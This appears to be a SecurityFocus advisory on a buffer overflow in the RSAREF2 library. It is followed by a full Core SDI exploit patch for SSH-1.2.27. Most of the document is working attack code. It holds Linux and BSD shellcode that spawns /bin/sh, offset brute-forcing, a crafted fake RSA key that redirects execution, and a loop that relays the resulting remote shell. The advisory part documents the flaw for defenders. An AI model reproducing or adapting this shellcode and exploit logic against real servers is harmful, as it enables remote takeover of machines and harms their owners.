source: http://www.securityfocus.com/bid/843/info

A buffer overflow vulnerability exists in the RSAREF cryptographic library which may possibly make any software using the library vulnerable.

The vulnerability exists in four functions in the rsa.c source file. The functions are:

int RSAPublicEncrypt()
int RSAPrivateEncrypt()
int RSAPublicDecrypt()
int RSAPrivateDecrypt()

All these function define a local variable called pkcsBlock of 128 byte length which can be overflowed making it possible to execute arbitrary code.

This vulnerability, in conbination with BUGTRAQ ID 797, allows versions of both the SSH client and server linked against the RSAREF2 library to be vulnerable to a remote exploit.

Programs linked against the SSLeay and OpenSSL libraries are not vulnerable as these libraries check the modulus lenght is not longer than what the RSAREF library can handle (MAX_RSA_MODULUS_LEN) in the RSAref_Public_eay2ref() and RSAref_Private_eay2ref() glue functions. 

diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
*** ssh-1.2.27/README.coresdi	Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/README.coresdi	Tue Dec 14 19:21:10 1999
***************
*** 0 ****
--- 1,32 ----
+ /*
+  *
+  * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in
+  * (--with-rsaref)
+  *
+  * Author: Alberto Solino <Alberto_Solino@core-sdi.com>
+  *
+  * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
+  * All rights reserved.
+  *
+  *
+  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
+  * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
+  * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
+  * FROM THE USE OR MISUSE OF THIS SOFTWARE.
+  *
+  */
+ 
+ Tested on
+   SSH-1.2.27 Linux RedHat 6.0
+   SSh-1.2.27 OpenBSD 2.6
+ 
+ Details
+   Relies on offsets taken from JUMP_TO_MY_KEY that are different on
+   different boxes.
+   If it doesnt work, check inside incoming.buf for the string "BETO"
+   and find the proper offsets from there.
+   Additionally, the -f nad -t options are available, to  provide
+   a range of addresses and try to brute force remotely the right 
+   one.
+   Specify the target os type with -o
+ 
Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ
diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub
*** ssh-1.2.27/exploit_key.pub	Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/exploit_key.pub	Tue Nov 30 01:14:10 1999
***************
*** 0 ****
--- 1 ----
+ 1024 35 126711790959034717449904354103174105464423905750911738400315407900752946071988773532672356922306687685191424606806952947660867911760697942514594956213990584856991678398353026692681430136274853402829183803383791361598788187120276305630837366787507026341329913385926890796258293060370046555624537870005279144741 root@jack
Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2
diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history
*** ssh-1.2.27/history	Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/history	Tue Nov 16 21:41:36 1999
***************
*** 0 ****
--- 1,7 ----
+ Tue Nov 16 19:58:04 ART 1999
+ En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia
+ el tamanio del modulo que esta en privatekey, pero la longitud de los numeros 
+ nunca es mayor que 128.
+ Tue Nov 16 21:41:15 ART 1999
+ overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse...
+ 
Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2
diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c
*** ssh-1.2.27/ssh.c	Wed May 12 08:19:28 1999
--- ssh-1.2.27-exploit/ssh.c	Tue Dec 14 19:03:59 1999
***************
*** 202,208 ****
  #include "readconf.h"
  #include "userfile.h"
  #include "emulate.h"
- 
  #ifdef LIBWRAP
  #include <tcpd.h>
  #include <syslog.h>
--- 202,207 ----
***************
*** 212,217 ****
--- 211,249 ----
  int allow_severity = LOG_INFO;
  int deny_severity = LOG_WARNING;
  #endif /* LIBWRAP */
+ #ifdef SSH_EXPLOIT
+ #define BETO_STR 0x80850f8
+ unsigned long exp_offset=BETO_STR;
+ unsigned long exp_offset_to=BETO_STR;
+ unsigned char *shell_code;
+ unsigned long shell_code_len=0;
+ unsigned char linux_shell_code[]=
+ {0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90
+ ,0xeb    ,0x44    ,0x5e    ,0x89    ,0x76
+ ,0x08    ,0x31    ,0xc0    ,0x88    ,0x46    ,0x07    ,0x89    ,0x46
+ ,0x0c    ,0x56    ,0xb9    ,0x00    ,0x00    ,0x00    ,0x00    ,0xbb
+ ,0x05    ,0x00    ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80
+ ,0xb9    ,0x01    ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00
+ ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0xb9    ,0x02
+ ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00    ,0x00    ,0x00
+ ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0x5e    ,0xb0    ,0x0b    ,0x89
+ ,0xf3    ,0x8d    ,0x4e    ,0x08    ,0x8d    ,0x56    ,0x0c    ,0xcd
+ ,0x80    ,0xe8    ,0xb7    ,0xff    ,0xff    ,0xff    ,0x2f    ,0x62
+ ,0x69    ,0x6e    ,0x2f    ,0x73    ,0x68    ,0x00};
+ unsigned char bsd_shell_code[]=
+ {0x90,    0x90,    0x90,    0x90,    0x90,    0x90,    0x90,
+  0xeb,    0x45,    0x5e,    0x89,    0x76,    0x08,    0x31,    0xc0,
+  0x88,    0x46,    0x07,    0x89,    0x46,    0x0c,    0x6a,    0x00,
+  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
+  0xcd,    0x80,    0x6a,    0x01,    0x6a,    0x05,    0x51,    0xb8,
+  0x5a,    0x00,    0x00,    0x00,    0xcd,    0x80,    0x6a,    0x02,
+  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
+  0xcd,    0x80,    0x6a,    0x00,    0x8d,    0x46,    0x08,    0x50,
+  0x8b,    0x46,    0x08,    0x50,    0xb8,    0x3b,    0x00,    0x00,
+  0x00,    0x31,    0xc9,    0x41,    0x51,    0xcd,    0x80,    0xe8,
+  0xb6,    0xff,    0xff,    0xff,    0x2f,    0x62,    0x69,    0x6e,
+  0x2f,    0x73,    0x68,	0x00};
+ #endif
  
  /* Random number generator state.  This is initialized in ssh_login, and
     left initialized.  This is used both by the packet module and by various
***************
*** 275,280 ****
--- 307,322 ----
  /* Prints a help message to the user.  This function never returns. */
  void usage(void)
  {
+ #ifdef SSH_EXPLOIT
+ 	fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n");
+ 	fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0);
+ 	fprintf(stderr, "where:\n");
+ 	fprintf(stderr, "\toffset_from:       start offset for brute force\n");
+ 	fprintf(stderr, "\toffset_to:         end offset for brute force\n");
+ 	fprintf(stderr, "\tostype:            remote machine ostype\n");
+ 	fprintf(stderr, "                     BSD   : for (*BSD)\n");
+ 	fprintf(stderr, "                     Linux : for Intel Linuxes\n\n");
+ #else
    fprintf(stderr, "Usage: %s [options] host [command]\n", av0);
    fprintf(stderr, "Options:\n");
    fprintf(stderr, "  -l user     Log in using this user name.\n");
***************
*** 321,326 ****
--- 363,369 ----
    fprintf(stderr, "  -C          Enable compression.\n");
    fprintf(stderr, "  -g          Allow remote hosts to connect to local port forwardings\n");
    fprintf(stderr, "  -o 'option' Process the option as if it was read from a configuration file.\n");
+ #endif
    exit(1);
  }
  
***************
*** 504,510 ****
--- 547,557 ----
        opt = av[optind][1];
        if (!opt)
          usage();
+ #ifdef SSH_EXPLOIT
+       if (strchr("fto", opt)) /* options with arguments */
+ #else
        if (strchr("eilcpLRo", opt)) /* options with arguments */
+ #endif
          {
            optarg = av[optind] + 2;
            if (strcmp(optarg, "") == 0)
***************
*** 522,527 ****
--- 569,594 ----
          }
        switch (opt)
          {
+ #ifdef SSH_EXPLOIT
+ 				case 'f':
+ 					exp_offset = strtoul(optarg,NULL,16);
+ 					break;
+ 				case 't':
+ 					exp_offset_to = strtoul(optarg,NULL,16);
+ 					break;
+ 				case 'o':
+ 					if ( !strcmp(optarg,"BSD") ) {
+ 						shell_code = bsd_shell_code;
+ 						shell_code_len = sizeof(bsd_shell_code);
+ 					}
+ 					else if ( !strcmp(optarg,"Linux") ) {
+ 						shell_code = linux_shell_code;
+ 						shell_code_len = sizeof(linux_shell_code);
+ 					}
+ 					else
+ 						usage();
+ 					break;
+ #else
          case 'n':
            stdin_null_flag = 1;
            break;
***************
*** 681,692 ****
          case 'g':
            options.gateway_ports = 1;
            break;
! 
          default:
            usage();
          }
      }
! 
   /* Check that we got a host name. */
    if (!host)
      usage();
--- 748,766 ----
          case 'g':
            options.gateway_ports = 1;
            break;
! #endif
          default:
            usage();
          }
      }
! #ifdef SSH_EXPLOIT
! 	if ( shell_code == NULL )
! 		usage();
! 	if ( exp_offset_to < exp_offset ) {
! 		fprintf(stderr,"Invalid offsets!\n");
! 		usage();
! 	}
! #endif
   /* Check that we got a host name. */
    if (!host)
      usage();
***************
*** 793,798 ****
--- 867,876 ----
       rhosts_authentication is true.  Note that the random_state is not
       yet used by this call, although a pointer to it is stored, and thus it
       need not be initialized. */
+ #ifdef SSH_EXPLOIT
+ 	do	
+ 	{
+ #endif
    ok = ssh_connect(host, options.port, options.connection_attempts,
                     !use_privileged_port,
                     original_real_uid, options.proxy_command, &random_state);
***************
*** 846,857 ****
                                                    original_real_uid);
    options.user_hostfile = tilde_expand_filename(options.user_hostfile,
                                                  original_real_uid);
! 
    /* Log into the remote system.  This never returns if the login fails. 
       Note: this initializes the random state, and leaves it initialized. */
    ssh_login(&random_state, host_private_key_loaded, &host_private_key, 
              host, &options, original_real_uid);
! 
    /* We no longer need the host private key.  Clear it now. */
    if (host_private_key_loaded)
      rsa_clear_private_key(&host_private_key);
--- 924,941 ----
                                                    original_real_uid);
    options.user_hostfile = tilde_expand_filename(options.user_hostfile,
                                                  original_real_uid);
! #ifdef SSH_EXPLOIT
!   fprintf(stdout,"Tryin'... 0x%x\n",exp_offset);
! #endif
    /* Log into the remote system.  This never returns if the login fails. 
       Note: this initializes the random state, and leaves it initialized. */
    ssh_login(&random_state, host_private_key_loaded, &host_private_key, 
              host, &options, original_real_uid);
! #ifdef SSH_EXPLOIT
! 	exp_offset++;
! 	} while (exp_offset<=exp_offset_to);
! 	fprintf(stderr,"Didn't work ;( \n");
! #endif
    /* We no longer need the host private key.  Clear it now. */
    if (host_private_key_loaded)
      rsa_clear_private_key(&host_private_key);
diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c
*** ssh-1.2.27/sshconnect.c	Wed May 12 08:19:29 1999
--- ssh-1.2.27-exploit/sshconnect.c	Thu Dec  9 17:09:39 1999
***************
*** 214,220 ****
  #include "mpaux.h"
  #include "userfile.h"
  #include "emulate.h"
- 
  #ifdef KERBEROS
  #ifdef KRB5
  #include <krb5.h>
--- 214,219 ----
***************
*** 1271,1276 ****
--- 1270,1280 ----
                 const char *orighost, 
                 Options *options, uid_t original_real_uid)
  {
+ #ifdef SSH_EXPLOIT
+ extern unsigned long exp_offset;
+ extern unsigned char *shell_code;
+ extern unsigned long shell_code_len;
+ #endif
    int i, type, len, f;
    char buf[1024], seedbuf[16];
    char *password;
***************
*** 1278,1283 ****
--- 1282,1298 ----
    MP_INT key;
    RSAPublicKey host_key;
    RSAPublicKey public_key;
+ #ifdef SSH_EXPLOIT
+   MP_INT fakekey;
+   int retval;
+   unsigned char first;
+   struct sockaddr_in sin;
+   int sin_len=sizeof(struct sockaddr_in);
+   RSAPrivateKey myfakeKey;
+   RSAPrivateKey myPrivateKey;
+   char private_key_filename[]="exploit_key";
+   fd_set rfds;
+ #endif
    unsigned char session_key[SSH_SESSION_KEY_LENGTH];
    const char *server_user, *local_user;
    char *cp, *host;
***************
*** 1501,1506 ****
--- 1516,1522 ----
    /* Generate an encryption key for the session.   The key is a 256 bit
       random number, interpreted as a 32-byte key, with the least significant
       8 bits being the first byte of the key. */
+ 
    for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++)
      session_key[i] = random_get_byte(state);
  
***************
*** 1519,1532 ****
        else
          mpz_add_ui(&key, &key, session_key[i]);
      }
! 
    /* Encrypt the integer using the public key and host key of the server
       (key with smaller modulus first). */
    if (mpz_cmp(&public_key.n, &host_key.n) < 0)
      {
        /* Public key has smaller modulus. */
        assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
- 
        rsa_public_encrypt(&key, &key, &public_key, state);
        rsa_public_encrypt(&key, &key, &host_key, state);
      }
--- 1535,1552 ----
        else
          mpz_add_ui(&key, &key, session_key[i]);
      }
! #ifdef SSH_EXPLOIT
! 	if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) { 
! 		fprintf(stderr,"Cannot locate private key %s\n",private_key_filename);
! 		exit(1);
!   }
! #endif
    /* Encrypt the integer using the public key and host key of the server
       (key with smaller modulus first). */
    if (mpz_cmp(&public_key.n, &host_key.n) < 0)
      {
        /* Public key has smaller modulus. */
        assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
        rsa_public_encrypt(&key, &key, &public_key, state);
        rsa_public_encrypt(&key, &key, &host_key, state);
      }
***************
*** 1534,1540 ****
      {
        /* Host key has smaller modulus (or they are equal). */
        assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED);
- 
        rsa_public_encrypt(&key, &key, &host_key, state);
        rsa_public_encrypt(&key, &key, &public_key, state);
      }
--- 1554,1559 ----
***************
*** 1564,1569 ****
--- 1583,1637 ----
    for (i = 0; i < 8; i++)
      packet_put_char(check_bytes[i]);
  
+ #ifdef SSH_EXPLOIT
+ 	for ( i = 0 ; i < 16; i++ ) {
+ 		mpz_mul_2exp(&key, &key, 8);
+ 		mpz_add_ui(&key, &key, i+1);
+ 	}
+ 	/* Aca seto el lugar donde va a estar la clave nueva cambiada*/
+ 	for ( i = 0; i < 4 ; i++ ) {
+ 		mpz_mul_2exp(&key,&key,8);
+ 		mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff));
+ 	}
+ 
+ 	/* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/
+ 	key._mp_d[31]=0;
+ 	key._mp_d[32]=0;
+ 	key._mp_d[3]=htonl(exp_offset+0x5b);
+ 	/* Ret address a mi codigo */
+ 	//key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta
+ 	/*
+ 	No se porque mierda ahora hay que invertilo...
+ 	key._mp_d[3]=JUMP_TO_MY_KEY+80;
+ 	*/
+ 
+ 	myfakeKey.bits = 1182; /* Tamanio de la clave */
+ 	myfakeKey.n._mp_alloc = 33;
+ 	myfakeKey.n._mp_size = 32;
+ 	myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184);
+ 
+ 	myfakeKey.e._mp_alloc = 1;
+ 	myfakeKey.e._mp_size = 1;
+ 	myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316);
+ 
+ 	myfakeKey.d._mp_alloc = 1;
+ 	myfakeKey.d._mp_size = 1;
+ 	myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25);
+ 
+ 	myfakeKey.u._mp_alloc = 17;
+ 	myfakeKey.u._mp_size = 16;
+ 	myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460);
+ 
+ 	myfakeKey.p._mp_alloc = 17;
+ 	myfakeKey.p._mp_size = 16;
+ 	myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392);
+ 
+ 	myfakeKey.q._mp_alloc = 17;
+ 	myfakeKey.q._mp_size = 16;
+ 	myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324);
+ 
+ #endif
+ 
    /* Send the encrypted encryption key. */
    packet_put_mp_int(&key);
  
***************
*** 1571,1579 ****
--- 1639,1686 ----
    packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN);
  
    /* Send the packet now. */
+ #ifdef SSH_EXPLOIT
+   packet_put_string("BETO",4);
+   packet_put_string((char *)&myfakeKey,sizeof(myfakeKey));
+   packet_put_string(shell_code, shell_code_len);
+   packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4);
+   packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4);
+   packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4);
+   packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4);
+   packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4);
+ #endif
    packet_send();
    packet_write_wait();
+ #ifdef SSH_EXPLOIT
  
+ 	usleep(10);
+ 	first = 1;
+ 	i = write(packet_get_connection_in(),"id\n",3);
+ 	if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1)
+ 		return;
+ 		
+ 	while (1) {
+   	FD_ZERO(&rfds);
+ 		FD_SET(packet_get_connection_in(),&rfds);
+ 		FD_SET(STDIN_FILENO,&rfds);
+ 		if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 )
+ 			return;
+ 		if (FD_ISSET(STDIN_FILENO,&rfds)) {
+ 			i=read(STDIN_FILENO,buf,sizeof(buf));
+ 			write(packet_get_connection_out(),buf,i);
+ 		} else if (FD_ISSET(packet_get_connection_in(),&rfds)) {
+ 			i=read(packet_get_connection_in(),buf,sizeof(buf));
+ 			if ( first )
+ 				if ( strncmp(buf,"uid",3) )
+ 					return;
+ 				else {
+ 					fprintf(stdout,"Got it!\n");
+ 					first = 0;
+ 				}
+ 			write(STDOUT_FILENO,buf,i);
+ 		}
+ 	}	
+ #endif
    /* Destroy the session key integer and the public keys since we no longer
       need them. */
    mpz_clear(&key);
***************
*** 1583,1588 ****
--- 1690,1697 ----
    debug("Sent encrypted session key.");
    
    /* Set the encryption key. */
+   packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120, 
+                             options->cipher, 1);
    packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, 
                              options->cipher, 1);
  
Common subdirectories: ssh-1.2.27/zlib-1.0.4 and ssh-1.2.27-exploit/zlib-1.0.4
